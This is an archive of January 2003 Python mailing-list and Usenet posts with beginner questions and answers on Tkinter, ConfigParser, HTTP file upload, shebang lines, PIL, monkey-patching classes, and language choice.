References: <18f9f477.0301130635.42ebcb5a@posting.google.com> <mailman.1042469723.18185.python-list@python.org>
Message-ID: <avulnu$kar$1@news-reader11.wanadoo.fr>

Martin Franklin wrote:
> A simple example of the tkFileDialog :-
> 
> from Tkinter import *
> import tkFileDialog
> 
> root = Tk()
> 
> def select_file():
>     file = tkFileDialog.askopenfilename()
>     print file
> 
> b=Button(root, text="Select", command = select_file)
> b.pack()
> 
> root.mainloop()
> 
> 
> HTH
> Martin

You may find the following Tkinter documentation quite useful:
http://www.pythonware.com/library/tkinter/introduction/index.htm
The chapter describing what you want to do is here:
http://www.pythonware.com/library/tkinter/introduction/x1164-data-entry.htm

HTH
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From cnetzer at mail.arc.nasa.gov  Thu Jan  2 21:18:51 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 2 Jan 2003 18:18:51 -0800
Subject: HELP! Must choose language!
In-Reply-To: <5.1.0.14.0.20030102213348.00c16408@mail.softhome.net>
References: <5.1.0.14.0.20030102213348.00c16408@mail.softhome.net>
Message-ID: <200301030218.SAA27791@mail.arc.nasa.gov>

On Thursday 02 January 2003 17:34, Andres Rosado wrote:
> On 12:06 AM 12/30/2002 -0500, the keyboard of
>
> python-list-request at python.org emitted:
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Hmmm, I wonder if the originator will ever see this...

> >Hello, everyone, I am a 9th grade student, who is very interested in
> > learning programming.
[snip]
> > I have seriously considered C( I even bought and
> > started on a book
> >about it), Python(my original choice, however, teachers deterred me from
> > it),

> C/C++ are great languages, once you get the hang on them. On the beginning,
> they are kind of rough. Once you have a clearer picture, it gets "easier"
> to write it. Compile the code is an horror story, though.

Yeah, I didn't start with C, although I picked it up quickly when I moved to 
it (from Basic, and then Pascal).  The trick about C is that you have to 
learn about the machine model, as well as basic algorithms, at the same time. 
 C has pointers which you basically HAVE to learn (and many an experienced 
programmer that I've met STILL get confused by pointers, there relationship 
to C arrays, etc.)

So, my view is if someone wants to learn more abstract programming concepts 
(algorithms, data structures, program flow, etc.) and is not as interested in 
hardware (bit operations, memory allocation and use, stack versus heap, etc.) 
a language like pascal, or Python, or Basic, or Modula would all be okay.  
And certainly Python is up there in terms of elegance and power.

People who like hardware and want to learn more low level programming would 
probably like C as a first language, but the trick is that they often already 
understand many of the machine concepts (and may know assembly language, for 
example).

Based of what I saw in college, where C was used as the "Programming 101" 
course (algorithms, sorting, searching, etc.), LOTS of people had trouble 
with it, whereas I would assume many of those people might have had less 
trouble with Python (aside from beginners issues about editing, and some 
conceptual issues if OOP was introduced poorly).  Using Python 2.2.2, and 
"from __future__ import division" would be a good first step as well. :)

Once you understand:

basic looping
recursion
simple data structures (arrays, lists, dictionaries, structures, whatever)
basic file IO
basic interactive IO (screen printing, keyboard input)
simple algorithms( counting, simple math, ie, the REAL basics)
and of course, "if" statements

then you can start adapting to other language concepts that C, C++, Python 
and other languages provide.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From mfranklin1 at gatwick.westerngeco.slb.com  Fri Jan 17 08:49:20 2003
From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin)
Date: Fri, 17 Jan 2003 13:49:20 +0000
Subject: Creating a Configuration File with ConfigParser
In-Reply-To: <20030117094312.0c81b18a.NObjSPAM@efiqual.com.ar>
References: <20030117094312.0c81b18a.NObjSPAM@efiqual.com.ar>
Message-ID: <1042811361.1132.46.camel@m-franklin>

On Fri, 2003-01-17 at 12:43, Bernardo Clavijo wrote:
> Hello, everybody, I'm a newbie in python, so, you'll be reading a lot of
> idiot questions by me ;-)
> This time the question is:
> Could I create a new configuration with ConfigParser? I know I can
> change the values taken form a file, but:
> Could it create a new section and add new items?
> If you know how to do it tell me, if this couldn't be done with
> ConfigPaser tell me if there's another way.
> 

pydoc is your friend:-


m-franklin $ pydoc ConfigParser

Python Library Documentation: module ConfigParser

NAME
    ConfigParser - Configuration file parser.

FILE
    /usr/local/lib/python2.2/ConfigParser.py

DESCRIPTION
    A setup file consists of sections, lead by a "[section]" header,
    and followed by "name: value" entries, with continuations and such
in
    the style of RFC 822.

    The option values can contain format strings which refer to other
values in
    the same section, or values in a special [DEFAULT] section.

    For example:

        something: %(dir)s/whatever

<snip>
...

     |  add_section(self, section)
     |      Create a new section in the configuration.
     |
     |      Raise DuplicateSectionError if a section by the specified
name
     |      already exists.

<snip>
...
     |  sections(self)
     |      Return a list of section names, excluding [DEFAULT]
     |
     |  set(self, section, option, value)
     |      Set an option.
     |
     |  write(self, fp)
     |      Write an .ini-format representation of the configuration
state.
     |

see for full details of this module:-

http://www.python.org/doc/current/lib/module-ConfigParser.html


HTH
Martin











From and-google at doxdesk.com  Fri Jan 31 13:41:10 2003
From: and-google at doxdesk.com (Andrew Clover)
Date: 31 Jan 2003 10:41:10 -0800
Subject: need sample for file-upload via http with auth
References: <3E394124.6030105@informatik.tu-chemnitz.de> <3E3941BF.9080403@informatik.tu-chemnitz.de>
Message-ID: <2c60a528.0301311041.341aaee8@posting.google.com>

Marian Foerster <marian.foerster at informatik.tu-chemnitz.de> wrote:

> as multipart/form-data

There's a multipart/form-data encoder in form.py, see the functions
writeFormData and writeFormDataStream.

  http://www.doxdesk.com/software/py/form.html

> file-upload via http with auth

something like:

import os.path, socket, urlparse, base64, form

def httpFileUpload(url, username, password, filename, fieldname):
  auth= base64.encodestring(username+':'+password)
  mimetype= 'application/octet-stream' # ignored by most servers
  urlbits= urlparse.urlparse(url)
  if ':' in urlbits[1]:
    (hostname, port)= urlbits[1].split(':',1)
  else:
    (hostname, port)= urlbits[1], 80
  pathname= urlbits[2]

  s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((hostname, port))
  s.sendall('POST %s HTTP/1.1\r\n' % pathname)
  s.sendall('Host: %s\r\n' % hostname)
  s.sendall('Authorization: Basic %s\r\n' % auth)
  s.sendall(form.writeFormData({
    fieldname: (filename, os.path.basename(filename), mimetype)
  }))

this is not fully tested but should work

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/



From tecargile at hotmail.com  Fri Jan 10 07:27:26 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 10 Jan 2003 04:27:26 -0800
Subject: Use /usr/bin/env python  ... why?
References: <8b67aef5.0301091244.1c6caec1@posting.google.com> <m2lm1twxby.fsf@mycroft.actrix.gen.nz>
Message-ID: <8b67aef5.0301100427.6397edc6@posting.google.com>

Paul Foley <see at below.invalid> wrote in message news:<m2lm1twxby.fsf at mycroft.actrix.gen.nz>...
> On 9 Jan 2003 12:44:41 -0800, Tim Cargile wrote:
> 
> > There was a previous thread on this that referenced a python.org FAQ
> > that I thought was incomplete.  As a casual observer I would
> > like to submit the following - in the order of most to least efficient
> > and least to most flexible (perhaps):
> 
> I think you forgot to s/flexible/buggy/ :-)
> 
> Just use
> 
>    #!/bin/sh
>    """"exec ${PYTHON:-python} -t $0 "$@";" """

Yes.  Absolutely!

And here are the 'top n' reasons to use it:

n-13)  It preserves multi-word argument boundaries.
n-12)  It's use gives one an automatic 'A' in 'Kludging 101'.
n-11)  It enhances the module's documentation. 
n-10)  It's a one-liner and everyone knows they execute faster. 
n-9 )  It's well-commented, albeit a bit tersely.
n-8 )  It's OK because something like it is in the Python FAQ (says Guido).
n-7 )  It hard-codes a -t arg and tab/spaces should ALWAYS be checked.
n-6 )  It minimizes thrashing - same as '#!/usr/bin/env python' does.
n-5 )* It uses the well-documented PYTHON environment variable.
n-4 )  It uses the most modern shell (albeit probably best).
n-3 )  It:  echo "#!/usr/bin/env" | sed -e 's@#!/usr/bin/env at Kludge@g'.
n-2 )  It hides the 'Kludge' by defining the module's __doc__ string.
n-1 )  The Kludge works!.

and ... tah taaaaaah!

   n)  Guido thought it was 'Cool.' back on 11/11/97
       when Sofin Raskin proposed the similar:

            #!/bin/sh
            """:"
            exec python $0 ${1+"$@"}
            """

       to address untoward environment limit and Guido put 
       it into the FAQs to be used as what he described as
       'a measure of last resort'.

To gild the lily and to give credit where credit is due
Neil Schemenauer should be given the 'Golden Lily' award for
his suggested upgrade of:  __doc__ = """something wonderful"""
to immediate follow the above, errrr ... workaround.


Any Questions?


Tim


PS: Email gets through if 'techalert' is somewhere in Subject.



From jubafre at brturbo.com  Fri Jan 24 08:09:01 2003
From: jubafre at brturbo.com (jubafre at brturbo.com)
Date: Fri, 24 Jan 2003 11:09:01 -0200 (GMT-02:00)
Subject: xml.sax -> unicode list???
Message-ID: <-1587663348.1043413741550.JavaMail.nobody@webmail1>


I'm using a xml.sax to take some information to the xml document,
and in the startElement method of SAX, i want to put in a list the attributes
and your values, like that:


def startElement(self, name, atts):
  print 'Tag Inicial: "%s"'%name
  for i in range(0, atts.getLength()):
    lista.append(atts.getName(i))
    lista2.append(atts.getValue(i))
    print 'Nome Atributo: "%s"\n'% atts.getName(i),
          'Tipo: "%s"\n'% atts.getType(i),
          'Valor: "%s"'% atts.getValue(i)

but the method print:
>>>[u'05', u'Bocas Ordinarias', u'Quatro', u'02', u'Chegou a Hora de Recomecar',
u'05', u'O melhor do pagode de mesa', 'da']
>>> type(lista2[0])
<type 'unicode'>

why the type of the list is unicode??/?

Juliano Freitas
www.gebrasil.hpg.com.br 

From johnroth at ameritech.net  Mon Jan  6 17:48:59 2003
From: johnroth at ameritech.net (John Roth)
Date: Mon, 6 Jan 2003 17:48:59 -0500
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu>
Message-ID: <v1k1tts6o9ta1e@news.supernews.com>

"Dan Stromberg" <strombrg at tesuji.nac.uci.edu> wrote in message
news:avcuj1$6a7$1 at news.service.uci.edu...
> If I remember my ibm 360 assembler course correctly, fixed point is
> not necessarily decimal.  I believe you folks mean fixed decimal, or
> perhaps packed decimal, not fixed point.  Fixed point would probably
> more commonly be expected to be binary, or at least could ambiguously
> be binary or not.

I don't think I've ever seen **conceptual** fixed point binary.
**Implementation**
fixed point binary, yes, but then it was conceptually decimal.

John Roth

>
> Thanks.
>
> --
> Dan Stromberg
UCI/NACS/DCS





From jbperez808 at yahoo.com  Tue Jan 21 03:17:00 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: Tue, 21 Jan 2003 16:17:00 +0800
Subject: 1-line idiom to replace if blocks
Message-ID: <3e2cf624@post.usenet.com>

**** Post for FREE via your newsreader at post.usenet.com ****

I hate code that takes up too many lines and
have come up with the ff. idiom to replace
many 4 line if statements:

result=[value-if-false,value-if-true][condition]

This idea could also be applied as a compact
switch block replacement in certain cases.









-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 *** Usenet.com - The #1 Usenet Newsgroup Service on The Planet! ***
                      http://www.usenet.com
Unlimited Download - 19 Seperate Servers - 90,000 groups - Uncensored
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



From pythonhda at yahoo.com.replacepythonwithlinux  Sat Jan  4 21:38:12 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Sat, 4 Jan 2003 21:38:12 -0500
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com>
Message-ID: <20030104213812.04f3dd44.pythonhda@yahoo.com.replacepythonwithlinux>

Maybe you can try to catch the exception?

while doing_something:
	try:
		.....
	except KeyboardInterrupt:
		print "I'm not done yet"



On 4 Jan 2003 14:00:35 -0800
sandeep182 at hotmail.com (Sandeep Gupta) wrote:

> I am executing a command from python via os.popen().  While the
> command is executing, if I type ctrl-c, the command receives the
> interrupt.  I would like to block the ctrl-c from the command and I've
> tried the following:
> 
> 1)Using python's signal module to ignore SIGINT.  This causes python
> to ignore SIGINT, but a ctrl-c that is typed during the popen() call
> still goes to the command.
> 
> 2)Adding "< /dev/null" to the os.popen() call.  This doesn't help.
> 
> 3)Using popen2() and immediately closing the stdin file.  This also
> doesn't work.
> 
> Any suggestions would be greatly appreciated!
> 
> Thanks
> Sandeep



From bokr at oz.net  Tue Jan 21 17:34:26 2003
From: bokr at oz.net (Bengt Richter)
Date: 21 Jan 2003 22:34:26 GMT
Subject: license
References: <mailman.1043156319.24930.python-list@python.org>
Message-ID: <b0khti$9hl$0@216.39.172.122>

On Tue, 21 Jan 2003 08:34:42 -0500, "Arthur" <ajs at ix.netcom.com> wrote:

>>BTW, the package is apparently VPython, based on the conversation on
>>edu-sig. It seems to me that making an advisory along with the patch >would
>be a much more appropriate behavior.
>
>Yes, as I said on edu-sig, I understand that is my only reasonable option.
>But its a bigger job than the 4 key strokes, in my hands.  Because in my
>hands I will attempt to make it fully comply with sound practice for the
>distribution of a Python 3rd party module.  The overwrite problem issue I
>focus on is the one that makes the contribution unlivable.  There are a many
>other issues that make it a bad non-compliant distribution.
Is it free? Is it better than nothing? Are you getting what you paid for?

I am sympathetic to anyone whose computer setup gets trashed without warning,
(to the point of ranting, as you might have noticed in a previous post ;-)
but I am now getting the feeling there's another issue dominating your situation.

I.e., it seems you think someone else ought to be different
than the way they are in your eyes ;-)

>
>A community of people working reasonably cooperatively in an effort toward
>exploring the potential of Python in education was one of the things I
>thought and hoped CP4E would be about.
I haven't followed that, but that's what I would expect from Python types.

>
>But as I say repeated on edu-sig, I have come to understand myself to be in
>fact a fish quite out of water in this world of free software and whatever
>it is the "community" in the Python community represents.
A lot of give and take ;-)

>
>Expressing the wish, out loud, that someone else who is taking advantage of
How do you mean, "taking advantage?"

>the community's productivity might act a bit more reasonably and less
The free software community's productivity is there to be taken advantage of.
That's a key thing. It multiplies wealth indiscriminately and infinitely.
One digital pot-luck dish feeds the world! Taking seconds starves no one!
And a few participating cooks are top chefs ;-)

>selfishly as a community member is seen by (at least some) of the community
Selfish is usually denying others in preference to self. Who is being denied what?

>as an assault on the community.  That wish and hope is an assault?
Who said assault?

>
>Its too complex for my simple mind.
>
>My continuing alienation from the community, frankly, is one of the things
>that makes me resent having to take on the project of bringing the VPython
>project into compliance with what are, I think, very reasonable community
>expectations as to how a 3rd party module should install and behave.
What compels you to take that on? Are you under contract?

You refer to "community expectations." Have you done a poll to see what
expectations actually are? A consensus would likely have influence that your
opinion alone might not ;-)

>
>Super ironic, too me, that the reaction should be "shut up,and  kill a few
>more weekends for the good of the cause".
>
>Of course, the other solution is to overwrite his help file with my help
>file.  That would indeed be 4 keystrokes.  And than I could be the guy
>sitting on ten thousand lines of code, driving my toy.
>
Perhaps you could rename his stuff and link to it from yours, with an explanation
of how to restore the other if your user prefers ;-)

>Unfortunately, thats not who I am.
>
Its unfortunate to think who you are is unfortunate ;-)

>And please.
>
>What advisory do you have in mind.
Change what is within your power to change, and don't wear yourself down
worrying about the rest ;-)

Regards,
Bengt Richter



From imbosol at vt.edu  Tue Jan  7 14:33:29 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 07 Jan 2003 19:33:29 GMT
Subject: PIL JPEG pixel problem
References: <df392399.0301070946.5455fd55@posting.google.com>
Message-ID: <dYFS9.18483$xb.6640@nwrddc02.gnilink.net>

Mark wrote:
> I'm having problems changing the pixels in a .jpg file.
> 
>>>>import Image
>>>> x = Image.open('te.jpg')
>>>> x.getpixel((0,0))
> (255, 255, 255)
>>>> x.putpixel((0,0),(100,150,165))
>>>> x.save('asdf.jpg')
>>>>
>>>> x = Image.open('asdf.jpg')
>>>> x.getpixel((0,0))
> (146, 146, 146)
> 
> When I open it up after changing the pixels they are I get totally
> different pixels from (100,150,165) to (146,146,146).  I've tried
> using the different options in the save() method(not all possible
> combonations), but they always are different.  Does anyone know how I
> can fix this?

Yes, use a different image format.  JPEG uses lossy compression when
it saves an image, meaning that it sacrifices exact pixel values for
better compression ratios.

A single off-color pixel, such as what you wrote to your image, has no
chance of surviving a JPEG compression.  This is because it adds very
little to the overall impression of the image, yet worsens the
compression ratio quite a bit.  The compressor essentially changes the
off-color pixel to something resembling its surroundings.


Depending on what your purpose is, you have two options.  You could
use JPEG, but make sure you write enough pixels to have an big effect
on the overall image (like if you're adding a logo), and don't worry
about exact pixel values because they're just not going to be right.

Or use a non-lossy image format such as PNG.  PNG might be a good
choice because most modern web browsers can display it.


-- 
CARL BANKS



From mwm at mired.org  Mon Jan  6 12:07:01 2003
From: mwm at mired.org (Mike Meyer)
Date: 06 Jan 2003 11:07:01 -0600
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org> <3E18E6F8.8C5BFEEA@alcyone.com> <yyyznqecqch.fsf@adams.patriot.net>
Message-ID: <x7fzs6yzpm.fsf@guru.mired.org>

Nick Vargish <nav at adams.patriot.net> writes:

> Erik Max Francis <max at alcyone.com> writes:
> > (The object orientation in Perl, ugh.)
> They added object orientation to Perl?

Yes, the swiss army chainsaw of programming languages now has an OO
blade.

> p.s. I'm joking! I know about it, I just refuse to look at it.

Probably for the best, especially if you recently ate.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From sismex01 at hebmex.com  Tue Jan  7 18:52:53 2003
From: sismex01 at hebmex.com (sismex01 at hebmex.com)
Date: Tue, 7 Jan 2003 17:52:53 -0600 
Subject: extending an existing class without inhertance
Message-ID: <F7DB8D13DB61D511B6FF00B0D0F0623303547FF3@mail.hebmex.com>

> From: Martin Schmettow
> Sent: Tuesday, January 07, 2003 10:25 AM
> 
> Hi anybody.
> 
> I am working on a script which uses several XML techniques (building 
> DOM,XSLT). For building the DOM I started using the xml.dom module.
> This module implements the setAttribute() method on element nodes.
> For some reasons I have to switch to the Ft.Xml.Domlette 
> implementation, where the setAttribute() is missing.
> Extending the class by inheritance is obvious but seems not 
> practical in this case, because a lot is done by Factories, which
> you cant just tell to produce MyElement instead of Element.
> The easiest solution would be to enhance the existing class by just 
> adding the method. I did this several times in Perl (in a 
> former life, of course).
> Can anybody tell me the Python way to do it. Other solutions 
> are welcome as well.
> 
> CU
> Martin.
>

Greetings Martin, and a Happy Knew Yeer also. :-)

What you're asking is quite doable, and simple, in Python.
Let me explain by example. Let's take a simple class where
we want to add a simple (originally non-existant) method.

>>>
>>> class Duck:
	def __init__(self, name):
		self.name = name
	def __str__(self):
		return "<%s instance '%s' at %s>" % \
		       (self.__class__.__name__, self.name, hex(id(self)))
	__repr__ = __str__

>>> d1 = Duck("Donald")
>>> d2 = Duck("Daffy")
>>> d1, d2
(<Duck instance 'Donald' at 0xb16e00>, <Duck instance 'Daffy' at 0xb19fb0>)
>>>

So we have a class which returns 'self's info upon calling
it's __str__ method. Simple.

Now, let's define a function which print's out --not returns--
the information about an instance.  It's like, but not quite,
__str__. :-)

>>>
>>> def Identify(duck):
	print "%s of name '%s', and identity %s" % \
	      (duck.__class__.__name__, duck.name, hex(id(duck)))

>>> Identify(d1)
Duck of name 'Donald', and identity 0xb16e00
>>> Identify(d2)
Duck of name 'Daffy', and identity 0xb19fb0
>>>

So it's simple-minded; this is a simple example. :-)
Now, let's convert this ordinary function into a method,
which is callable from any instance.

First, let's verify that this method doesn't exist:

>>>
>>> d1.Identify()
Traceback (most recent call last):
  File "<pyshell#55>", line 1, in ?
    d1.Identify()
AttributeError: Duck instance has no attribute 'Identify'
>>>

Now, in order to "bind" this function to a class method,
we assign it to the class object, as an attribute:

>>>
>>> d1.__class__.Identify = Identify
>>> del Identify
>>>

I deleted it from the global (module) namespace, just
to be a bit more explicit about the original function
not existing anymore:

>>>
>>> Identify(d1)
Traceback (most recent call last):
  File "<pyshell#60>", line 1, in ?
    Identify(d1)
NameError: name 'Identify' is not defined
>>> 


So now, we try out the function, now bound as an
instance method of the Duck class.  Although we
didn't actually assign it to "Duck.Identify",
remember that d1.__class__ is Duck.


>>> 
>>> d1.Identify()
Duck of name 'Donald', and identity 0xb16e00
>>> 
>>> d2.Identify()
Duck of name 'Daffy', and identity 0xb19fb0
>>>

Nice, eh? :-)

But remember, all instances of this class share the
same class object.

The only requirement, is that 'self' always be the
first argument to the new method.

Good luck, hope this helps. :-)

-gustavo




From nelson at crynwr.com  Thu Jan  2 00:25:39 2003
From: nelson at crynwr.com (Russell Nelson)
Date: 02 Jan 2003 00:25:39 -0500
Subject: ANN: How to building a internet portal in 1 hour using python and pso
References: <mailman.1040854767.32150.clpa-moderators@python.org>
Message-ID: <m2y964f7ho.fsf@desk.crynwr.com>

thanos at 0x01.com (thanos vassilakis) writes:

> How to building a internet portal in 1 hour using python and pso
> 
> We would like to show how one would build a web service using pso. As an
> example we will build a small portal. It should take less than an hour.

After reading your code and documentation for ten hours, presumably.
In that time, I could (did) code my own.  I'm not trying to diss your
code.  I'm just pointing out that each of your "It's that easy!" masks
a good understanding of the code.

-- 
-russ nelson              http://russnelson.com | You can ignore economics,
Crynwr sells support for free software  | PGPok | but economics isn't going
521 Pleasant Valley Rd. | +1 315 268 1925 voice | to ignore you.
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   |



From skip at pobox.com  Mon Jan 13 09:34:55 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 08:34:55 -0600
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: 
 [ann]MinimalPython project)
In-Reply-To: <3E228E81.81B0FACD@alcyone.com>
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
        <mailman.1042428982.26240.python-list@python.org>
        <vAsU9.66$_d2.118955@news.uswest.net>
        <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>
        <3E228E81.81B0FACD@alcyone.com>
Message-ID: <15906.52879.300833.692674@montanaro.dyndns.org>

    >> I immediately thought of the image of a snake biting its tail -- an
    >> ancient symbol of the cycle of life, recursion, etc.  The name for
    >> this symbol appears to be variously:
    >> 
    >> Uroboros
    >> Ourobouros
    >> Ourobourus
    >> 
    >> Not sure which spelling is "canonical".  Not so easy to pronounce
    >> though.

    Erik> I've seen so many spelling variations that I would think that in
    Erik> itself would disqualify it as a good choice of names.  

Not to mention which there is an open source project in the X space called
Oroborus.  There is a Mac OS X version also called OroborOSX:

    http://oroborosx.sf.net/

whose icon is a snake biting its tail wrapped around the "X".

Skip




From trentm at ActiveState.com  Wed Jan  8 19:11:43 2003
From: trentm at ActiveState.com (Trent Mick)
Date: Wed, 8 Jan 2003 16:11:43 -0800
Subject: avoiding long paths to interpreter
In-Reply-To: <aviaqo$9k6$1@nntp1.jpl.nasa.gov>; from mathew@fugue.jpl.nasa.gov on Wed, Jan 08, 2003 at 03:04:56PM -0800
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov>
Message-ID: <20030108161143.C27173@ActiveState.com>

[Mathew Yeates wrote]
> in TCL, there is a trick where, instead of
> writing
> #![long path to tcl interpreter]
> 
> you write
> #!/bin/sh
> .
> . some magic, I don't remember what
> .
> 
> Is there an equivalent in python? What is the
> bast way to distibute a python script without
> knowing the users path to the python executable?

Using a shebang line like:
    #!/usr/bin/env python
seems pretty common in the Python world. In my experience /usr/bin/env
is generally there, so this works.


Trent

-- 
Trent Mick
TrentM at ActiveState.com




From andrew.markebo at telia.com  Fri Jan 17 04:50:16 2003
From: andrew.markebo at telia.com (Andrew Markebo)
Date: Fri, 17 Jan 2003 09:50:16 GMT
Subject: Curses
References: <8819151e.0301170057.347e84d3@posting.google.com>
Message-ID: <m365sof6li.fsf@telia.com>

I suppose the question would be which curses library you have under
python, I mean python doesn't provide the functionality, just an
interface.

Who and how were your python compiled.. 

        /Andy

/ fmancinelli at albalab.it (Fabio) wrote:
| am using the version of PythonD 1,1 in MSDOS but I do not succeed to
| use the curses in order to make the masks. Bringing back the error
| that they give to me:

-- 
 The eye of the beholder rests on the beauty!



From LogiplexSoftware at earthlink.net  Wed Jan 15 14:43:26 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 15 Jan 2003 11:43:26 -0800
Subject: Zinc designer
In-Reply-To: <b04d1f$68b$1@bob.news.rcn.net>
References: <b04d1f$68b$1@bob.news.rcn.net>
Message-ID: <1042659806.27819.88.camel@software1.logiplex.internal>

On Wed, 2003-01-15 at 13:19, morden wrote:
> Did anyone modify Zinc designer to generate (and preferably read back) 
> Python code instead of binary .dat files?

Isn't Zinc a proprietary product?  How would it be possible to modify
it?  Further, it's written in C++, not Python, so how is it related to
Python in any way?

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From abelikov72 at hotmail.com  Thu Jan  9 07:48:06 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 12:48:06 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org>
Message-ID: <sqrq1v05jiqqqnnlglmk105rq76lormqnn@4ax.com>

On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
<andrew-pythonlist at puzzling.org> wrote:

>What is good design for one language isn't necessarily good design for
>another.  Python offers different features to, say, C++, and is best used in
>different ways.  I would recommend that you try to understand the pythonic
>world-view better, rather than insisting on imposing your preconceptions on
>us... my experience agrees with Andrew Dalke's; explicit self is much better
>than the alternatives.

The design is simple and normal. Dalke's code in response to mine made
changes which would break my design. My design for my project is right.
It also just happens to be of a very traditional and common methodology.

>Not to mention that the code you have shown us doesn't give me any confidence
>that your code is what you claim it to be.

You cannot see what the rest of the class is doing or meant to do.

>What is your situation?  You're refusing to say what it actually is, so it's
>reasonable for people to refuse to try help you -- its hard to know what the
>answer is if you won't tell us the question!

It is not relevant. I just wanted to know about the possibility of
implicit self. I suppose this is a sore spot. I'll look elsewhere,
but will continue to react to people saying I am doing it wrong
when all I was asking about what the possibility of implicit self.



From bdesth at removethis.free.fr  Fri Jan 31 15:42:15 2003
From: bdesth at removethis.free.fr (laotseu)
Date: Fri, 31 Jan 2003 15:42:15 -0500
Subject: Dumb Q#2 Pycrust
References: <b1br6a$85f$1@rupert.unet.maine.edu> <v3jlilkr6q29ee@corp.supernews.com>
Message-ID: <3E3ADFA7.3040409@removethis.free.fr>

Patrick K. O'Brien wrote:
> Norm wrote:
> 
> 
>>I've downloaded and love the PyCrust interface, but for the life of me
>>can't figure out how to save the code into a file from it.
>>
>>So I'm embarrassed to ask, but how do you save code into a file from
>>PyCrust?
> 
> 
> At this poing you can Copy and Paste. See shell.help() for key bindings:
> 

Another way would be to implement the open/save functions !-)

laotseu




From peter at engcorp.com  Fri Jan  3 13:53:46 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 13:53:46 -0500
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <m3isx76i7j.fsf@wilma.local> <3E1599DF.F870DF68@engcorp.com> <av4hqi$bv4q1$1@ID-130333.news.dfncis.de>
Message-ID: <3E15DC3A.724901CE@engcorp.com>

Cousin Stanley wrote:
> 
> Peter ...
> 
> Would it perhaps be possible to use  STCStyleEditor.py  that is included
> in the wxPython samples to interface to SciTE ...
> 
> I've found editing the SciTE config files a bit cumbersome ...

Not being remotely a SciTE expert (in terms of the implementation,
which by the way is C++, not Python) I can't answer that.  

The only thing I've tried to do with the wxPython stuff is to run a
simple editor and compare performance.  It was unusably slow for my
purposes, unfortunately, compared to SciTE.  I believe every keystroke
was being passed through a Python layer for processing, which killed
the performance.  I'd love to learn otherwise, but it didn't seem
like it would be possible to make a reasonably "snappy" editor just
using the wxPython stuff around Scintilla.  (I'm still surprised,
if that is true, since I thought that kind of thing was one of the
design goals.)

-Peter



From nobody at nowhere.com  Sat Jan 25 18:35:24 2003
From: nobody at nowhere.com (Grumfish)
Date: Sat, 25 Jan 2003 23:35:24 GMT
Subject: Learning to use threads.
Message-ID: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com>

I've never used threads before and thought now would be a good time to 
learn. Are there any good sites with tutorials of using threads with 
Python? I have a project where I think one object creates several 
threads and each thread returns messages back to the parent object. Is 
this a good way to do things? Could someone post a small example?




From bokr at oz.net  Thu Jan  2 06:36:26 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 11:36:26 GMT
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <eppstein-33F97D.15433501012003@news.service.uci.edu>
Message-ID: <av187q$b4e$1@216.39.172.122>

On Wed, 01 Jan 2003 15:43:35 -0800, David Eppstein <eppstein at ics.uci.edu> wrote:

>In article <3759308d.0301011401.4b32deba at posting.google.com>,
> rpgnmets at aol.com (Rob Renaud) wrote:
>
>> So then the question becomes, why don't append(), sort(), reverse()
>> return a new list and not modify the original?  Are mutable objects
>> themselves a wart on the langauge?
>
>There is a level of purity beyond which a language can become a pretty 
>toy instead of a useful tool.
>
To the pure, everything, properly described, is pure ;-)

Regards,
